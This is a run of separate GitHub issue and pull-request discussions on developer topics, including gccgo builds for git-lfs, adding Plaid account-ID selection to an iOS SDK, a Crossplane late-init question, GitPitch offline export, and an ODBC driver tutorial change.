https://www.youtube.com/playlist?list=PLEf2_gCt0YmSqUjqbrziGsX25dHMM2aq7
Related Settings :

Error Message :
Uncaught TypeError: Cannot read property 'title' of null

this was fixed by one of my previous comment.


stop() on ASAP3.EXE switch to warning()

addresses #198

Changed  stop() on ASAP3.EXE switch to warning()] to allow for continuation of model run even when asap exe is not available.


validate data when id is passed by GET

JIRA: https://vikingco.atlassian.net/browse/MVBE-5441

:shipit:


Support send_robust with tracebacks (similar to Django signals)

This PR builds on top of #3 by @jwineinger.

Support send_robust
Add traceback to every exception returned in the response from send_robust

cc @jek

cc @jek. Any thoughts?

Hi, @arnavk! Are you planning to continue working on this PR ?

@TheLazzziest, unlikely. I've lost context on this, unfortunately! its been 5 years now 😅

Closing as this is very old and I'm not clear that it's needed.
 Admittedly uncommon, but it's meaningful, especially with static typing.
Also, it's not clear that "signals could fail" is a good thing. If you're not checking the return value (just sending and forgetting), you now are silently ignoring errors. Some of Flask's callbacks can't fail, so we just document "you should ensure your callback won't raise an exception", that seems appropriate advice for signals as well.


cr provider can update mg slice fields

Signed-off-by: fahed dorgaa<EMAIL_ADDRESS>
Description of your changes
the crossplane observation mechanism must allow the addition of data in the slices of managed resources

related comment # https://github.com/crossplane/provider-gcp/pull/400#issuecomment-955672395
I have:

[x ] Read and followed Crossplane's contribution process.
[x ] Run make reviewable test to ensure this PR is ready for review.

How has this code been tested
nothing to report

@negz after reviewing this issue , can we have your opinion on  this ticket please :  https://github.com/crossplane/provider-gcp/pull/400 . It is related to the actual issue.

I believe the docstring is accurate as is - we should not late init slice elements. See my comment at https://github.com/crossplane/provider-gcp/pull/400#issuecomment-983146711 for more context.


Create Makefiles for building with gccgo

This pull request adds the ability to build git-lfs with gccgo simply by typing "make".  No "go" command is required.

This looks interesting. Are there any setup instructions beyond installing gccgo?
There is a test error:
script/script.go:15: main redeclared in this block
	previous declaration at script/govars.go:8

What if the script lived in script/gccgo/govars.go instead? That seems like a small utility command that's only needed for the makefiles. Otherwise, a vars command would have to be added to the existing main(). That works too.
I wonder if it'd be possible to generate these makefiles, so they don't have to be hand-touched as the packages are updated. Some of those makefiles are in vendor/_nuts, which are all 3rd party packages. I know that some of them will get outdated once @sinbad merges his next refactoring PR.

Are there any setup instructions beyond installing gccgo?

As I'm running Gentoo, I simply emerged sys-devel/gcc with the "go" flag enabled.  :smile:
Adding "go" to --enable-languages when building gcc as described on the webpage you refer to should be enough I think.
Yes, moving the govars script into a separate directory is fine, I'll add that to the PR when I get around to it.
As for generating the makefiles:  In order for it to be fully automatic one would need a tool that checks the (explicit and implicit) +build flags for each source file.  While creating such a tool would be interresting (maybe someone already has?  I haven't actually checked...) I considered it a bit out of scope.  I might change my mind on that point though.  :smiley_cat:

I have updated the PR with a reworked commit.  The make targets for all dependencies are now generated, and parallel make now works as well (it was broken before).
The make target generator uses library functions which are not available in gccgo 4.8, but I think git-lfs doesn't compile with that version anyway.

Hi @zeldin This is looking good. Would you feel comfortable being listed as the maintainer of this code? No one on the LFS team uses gccgo. Also, do you know what version of go the latest version of gccgo is comparable to? We've been talking about making Go 1.5 the minimum required version.

That would be fine.  A list of mappings of gccgo versions to go language versions can be found on https://golang.org/doc/install/gccgo#Releases.  Allegedly the recently released gcc 6.1 supports version 1.6 of the language, but I haven't verified this for myself.  (I'm still on gcc 5.3, which implements go 1.4.2.)

Thanks for this! Looks good to me.
Everyone else ready to merge?
/cc @technoweenie @rubyist @sinbad

Transfer my account pay pal account


Account ID

Is there a way to retrieve the account ID through the callback for access_token?  (also for future clarification I believe this is the public_token not access_token to be sent to Plaid).
Thanks for the awesome library @simonlevy5 !
plaidClient.exchangeToken(public_token, need this -> PLAID_ACCOUNT_ID, function(err, tokenResponse) {
      // respond with access_token here
}

Edit: I was thinking something along the lines of the selectAccount feature on the web Plaid link where
func linkNavigationContoller(navigationController: PLDLinkNavigationViewController!, didFinishWithAccessToken accessToken: String!) {
     // do stuff
}

func linkNavigationContoller(navigationController: PLDLinkNavigationViewController!, didFinishWithAccessToken accessToken: String!, didRetrieveAccountId accountId: String) {
     // do more stuff based on account selection
}

Posting a bounty for a similar authentication flow to Plaid Link multi-accounts.
https://www.bountysource.com/issues/35126919-account-id

@sinanulkuatam There isn't one now, but I can probably add one. This is new to me so I'll need to investigate a bit first. If you are interested in helping let me know, too, so I can provide some guidance.
I would likely add a selectAccount option to the options NSDictionary on PLDLinkNavigationController rather than as a parameter to exchangeToken.
@michaelckelly you guys have a demo of this feature that I can use?

@simonlevy5 excellent!  I am more familiar with Swift than Objective-C but I'd be more than happy to investigate as well tonight.  I've opened up a Slack group as well https://openhq.slack.com/home

@simonlevy5  So in the Plaid.h add and step methods the options NSDictionary passed in would include the accountId as an optional parameter
/**

(void)stepLinkUserForProduct:(PlaidProduct)product
publicToken:(NSString *)publicToken
??accountId:(NSString *)accountId??
mfaResponse:(id)mfaResponse
options:(NSDictionary *)options
completion:(PlaidMfaCompletion)completion;

And then in the implementation how would it account for the accountId being passed in as an options variable?  @michaelckelly it would be good to get your thoughts on whether it would make more sense to put in an explicit account  accountId:(NSString *)accountId or to think of options:(NSDictionary *)options as being the metadata response (like metadata:(NSDictionary *)metadata) returned on the Plaid Link web module.

(void)stepLinkUserForProduct:(PlaidProduct)product
publicToken:(NSString *)publicToken
??accountId:(NSString *)accountId??
mfaResponse:(id)mfaResponse
options:(NSDictionary *)options
completion:(PlaidMfaCompletion)completion {
NSString *webhook = @"";
if (options[@"webhook"]) {
webhook = options[@"webhook"];
}
NSDictionary *parameters = @{
@"env" : NSStringFromPlaidEnviroment(_environment),
@"include_accounts": @(NO),
@"mfa": mfaResponse,
@"product": NSStringFromPlaidProduct(product),
@"public_key": _publicKey,
@"public_token": publicToken,
@"webhook": webhook
};
[_networkApi executeRequestWithHost:LinkHostForEnvironment(_environment)
path:@"authenticate/mfa"
method:@"POST"
parameters:parameters
completion:^(id response, NSError *error) {
if (error) {
completion(nil, response, error);
return;
}
PLDLinkAuthentication *authentication =
[[PLDLinkAuthentication alloc] initWithProduct:product
response:response];
completion(authentication, response, error);
}];
}

And in the callback where the accountId would be available and we could pass it in to any function to send off to the backend.

/**
Called when the PLDLinkNavigationController has successfully logged a user in and obtained an access token for that user.
@param navigationController The navigation controller presenting Plaid Link.
@param accessToken A valid access token for a user to access the Plaid system.
*/

(void)linkNavigationContoller:(PLDLinkNavigationViewController *)navigationController
didFinishWithAccessToken:(NSString *)accessToken
didFinishWithAccountId:(NSString *)accountId;

And in the Swift implementation

func linkNavigationContoller(navigationController: PLDLinkNavigationViewController!, didFinishWithAccessToken accessToken: String!, didFinishWithAccountId accountId: String!) {
    print("success \(accessToken)")
    linkPlaidBankAccount({ (stripeBankToken, accessToken) in
            // completion handler with the necessary tokens
    }, accessToken: accessToken, accountId: accountId) // send these two to the backend
}

func linkPlaidBankAccount(completionHandler: (String, String) -> Void, accessToken: String, accountId: String) {
 /* perform api request with the accessToken (in reality the publicToken) and the accountId
    to request and exchange with an accessToken
 */

}
Let me know if my line of thinking/reasoning is off because I'm still pretty new to this.

@sinanulkuatam Since the accountId is something that isn't required it is an optional parameter. As you can notice we have a good example of this, which is "webhook". What that means is there is no interface change required within the Plaid.h since the parameter would be added right to the options NSDictionary.
I'm happy to take on this change, but would like to know more about it first - mainly what does this experience even look like (why I asked the question above), as well as what the API behavior is. Please understand that this is an undocumented call - normally the account data is fetched after the access token is retrieved via the exchange endpoint (using the token returned by link) so i'm unclear as to the requests/responses expected, as well.

@simonlevy5 understood.  Going through the web documentation it looks like the request/response cycle looks like this below, where the account id is returned in the onSuccess function of calling Plaid Auth (not connect).  If I were to use this in production as the library currently stands what flow would you envision the in its usage (use connect only)?  I feel that creating this may take some time, and time is a luxury at the moment :)  so I greatly appreciate you taking a look into this.
Attached some images of the user flow below as well from the web interface.
var linkHandler = Plaid.create({
  selectAccount: true,
  env: 'production',
  clientName: 'Plaid Name',
  key: 'plaid-key-here',
  product: 'auth',
  onSuccess: function(public_token, metadata) {
    // The onSuccess function is called when the user has successfully
    // authenticated and selected an account to use.
    //
    // When called, you will send the public_token and the selected
    // account ID, metadata.account_id, to your backend app server.
    //
    // sendDataToBackendServer({
    //   public_token: public_token,
    //   account_id: metadata.account_id
    // });
    document.getElementById('plaidToken').value = public_token;
    document.getElementById('plaidAcctId').value = metadata.account_id;
    document.getElementById('plaidForm').submit();
  },
});

And some code I have in the API to handle a Plaid auth request:
	// AUTH
	app.post(endpoint.version + endpoint.base + endpoint.auth, function(req, res, next) {
		logger.trace('req addAuthUser received');
		// addAuthUser(String, Object, Object?, Function)
		var institution_type = req.body.institution_type;
		var credentials = req.body.credentials;
		var options = req.body.options;
		plaidClient.addAuthUser(institution_type, credentials, options, function callback(err, mfaResponse, response) {
		  // err can be a network error or a Plaid API error (i.e. invalid credentials)
		  // mfaResponse can be any type of Plaid MFA flow
			logger.error(err);
			logger.info(mfaResponse);
			logger.info(response);

			if(err) {
				res.json({err: err})
			}

			if(mfaResponse) {
				res.json({mfa: mfaResponse, response: response})
			} else {
				res.json({response: response})
			}
		});
	});

@sinanulkuatam @simonlevy5 what's latest on this?

@simonlevy5 I need this myself. Any updates? I'll probably fork soon for my own use if not.

I have a very rough implementation of this that just forwards the account ids from plaid-ios-link to my app code. If possible I would to work with you to instead build the account id selection into plaid-ios-link and only give the selected id to my code. This would be very similar to the screenshots above.

Please see https://github.com/V-FEXrt/plaid-ios-link for reference. A change is also need for plaid-ios-sdk.
Line 207 of Plaid.m needs to be changed to
@"include_accounts": @(YES),

Updates anyone?

@joaoritter My fork "works" but it isn't a great solution. It has a couple places where it just throws an exception, because I don't know what to do in that case and I don't have the time to delve into it without assistance

@V-FEXrt I would be happy to assist. Please let me know where you have questions.

https://github.com/V-FEXrt/plaid-ios-link/blob/94418773f6e2878454d11c5113e1eb595cfe7d8f/PlaidLink/Classes/PLDLinkBankMFAContainerViewController.m#L154
Is the biggest one. My implementation currently just forwards an array of the account ids to the displaying code via a modified delegate.
The account ids are part of the response (https://github.com/V-FEXrt/plaid-ios-link/blob/94418773f6e2878454d11c5113e1eb595cfe7d8f/PlaidLink/Classes/PLDLinkBankMFALoginViewController.m#L85) I am just not certain on most of the control flow of the app.

@V-FEXrt I'll take a more detailed look tonight and can provide you some more detailed direction. I'm happy to look at/merge PRs into the main repo, as well.

Sounds good. I would love to make a PR once we work out the kinks, but I don't think my current progress is worth pulling into the main repo yet

@V-FEXrt @simonlevy5 let me know if you need another pair of eyes or a tester! Looking forward to trying this out

For anyone following this issue. We decided to switch to plaid's provided example (https://github.com/plaid/link/tree/master/examples) which recently added WKWebView.

i'm getting null accesstoken atm with requires_recaptcha error
{
"request_id" = "2210d0d8-c78f-4419-87bf-d3cc4c2dcf6b";
status = "requires_recaptcha";
}

@sinanku @simonlevy5 Any progress on this?


afterCloseInfowindow don't fire after close

It seems that the events "afterCloseInfowindow" and "beforeCloseInfowindow" don't fire after closing the InfoWindow. Both events fire only when I close the InfoWindow and on reopen the fire. But I need the event to be fired when I close the InfoWindow. Any help is very appreciated.

Please not that both beforeCloseInfowindow and afterCloseInfowindow This issue is rather troublesome, as I cannot find a way to work around it...I am attempting to use afterCloseInfowindow events to reset the map to its original state after closing a marker info window (i.e., to functionally zoom out and re-center).
I have provided a screen recording showing the exact problems here: https://www.youtube.com/watch?v=XpuNFug6gaE


Weekly release 2024-05-14

hotfix: removing references to ckanext-twitter

coverage: 33.233%. remained the same
when pulling 6f3acb808775268638be208cb2d31e5b31224713 on dev
into 04be944e2b6e348c7ed33a12bb3171435812052c on main.


DjangoResource updates to support non-numeric primary keys

Updates DjangoResource to allow subclasses to override the primary key pattern, in case of non-numeric primary keys (hashes, UUIDs).
Also updates self -> cls on two @classmethod definitions.

Now we actually accept any slugs are PK.

Thanks for the PR!


DataTables MVP implementation: scope milestone

MVP feature document is here:
https://docs.google.com/spreadsheets/d/1F7DYHe-z3-MKJ56Ce0g5WDaiqIklSFiLfLt4SnHuvMA/edit#gid=0


crypto/tls: add heartbeat extension support

See http://tools.ietf.org/search/rfc6520 for the details.

/cc @FiloSottile Please see if this issue from 2014 is still relevant.

Nope, after Heartbleed it's blocked by most IPS anyway.


pull_spec: use stable, non-fork PR for patch expectation

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[x] Have you successfully run brew tests with your changes locally?

Switch to using a stable, non-fork PR for the patch application expectation in pull_spec.rb.
This should fix the current error in https://github.com/Homebrew/homebrew-test-bot/pull/99.
cc @MikeMcQuaid as we have discussed this.

Thanks again @JCount!


Offline export for multiple modules

I have following structure for multiple modules sharing single directory with assets:
.
|-images
|-module
  |-PITCHME.md

When I export module for offline viewing images assets are not copied to the archive. I need to copy them manually:
cp images/* offline/$module/assets/md/assets

Direct solution is to handle this situation at GitPitch but even better solution would be exporting several modules from a single repository as a single archive with shared assets. For now I have N archives (N is number of modules) each having its own copy of assets.

I haven't been able to reproduce this problem here as all images are present for my own offline testing. So I'm going to need more data. Can you please provide a clean set of debug logs that capture just the activity that occurs when you click Offline Version in the menu. I'd like to see whatever clues it provides. If this is a large file you can e-mail it to me directly.

I will try to create a sample presentation, reproduce the problem and send you the link to this presentation with the instructions how to reproduce the issue.

For public repo this works fine, issue appears only when using private repo. It looks like the root issue is how GitPitch treats links to the images in the private repo - it doesn't add token and gets 404.
I have created another issue for images in the private repo because it is slightly different from this one.

I want to first clarify, private repos are not yet supported by GitPitch.
Appending tokens to URLs within a presentation that then access content within a private repo is inherently insecure. All presentation URLs are public, and as such any tokens used this way become public too. Given tokens grant read (and sometimes write) access to repos, my general recommendation is to avoid using tokens in this way.
To next major GitPitch release will add support for private repos in a manner that ensures that there is no exposure to token intercept or abuse.
@lexsys27 given you are running a local GitPitch server (operating under your own master token) you can of course access private repos associated with that single token. So if you can accomplish what you need  using tokens on urls, then that's great. But this approach will not be adopted by GitPitch.

Ok, I changed the strategy - now I server all the images from the public S3 bucket. The link is opened to the world and I can get this image with Chrome in private mode.
And I see GitPitch gets 400 from S3 while trying to prepare offline version - no images in the archive.
To reproduce the issue I have created small public repo.

Go to https://gitpitch.com/lexsys27/gitpitch-temp?p=module01 - I see the image
Click "Offline Version"
Unpack archive
Open index.html in the browser - I see the placeholder

Sure - I am aware that private repos are not yet supported. I am just playing with the technology and thank you for all the help you provide! :)

I just tried your test presentation offline and it all worked fine for me.

Open index.html in the browser - I see the placeholder

I wonder, did you follow the instructions on the Slideshow Offline wiki page that explains the need to start a local web server to open the index.html of your offline presentations?

Sure - I am aware that private repos are not yet supported.

No problem. I just want to make sure that your comments here do not confuse other users of GitPitch which is why I clarified the state of current and planned support for private repos.


change odbc driver in database tutorial

As the general driver SQL server can cause some performance problems, it is better to use the specific odbc driver (at least in Windows, I don't know about Linux).  This PR suggests changes in this respect.

@florisvdh
Hmmm, would you mind having a look at the last commit for this PR as well?  Does the Windows code work as well for Linux, and would it be possible to remove the check for the platform in that part of the code?  (The Linux variant is not compliant for Windows as the attribute Driver is not present here.)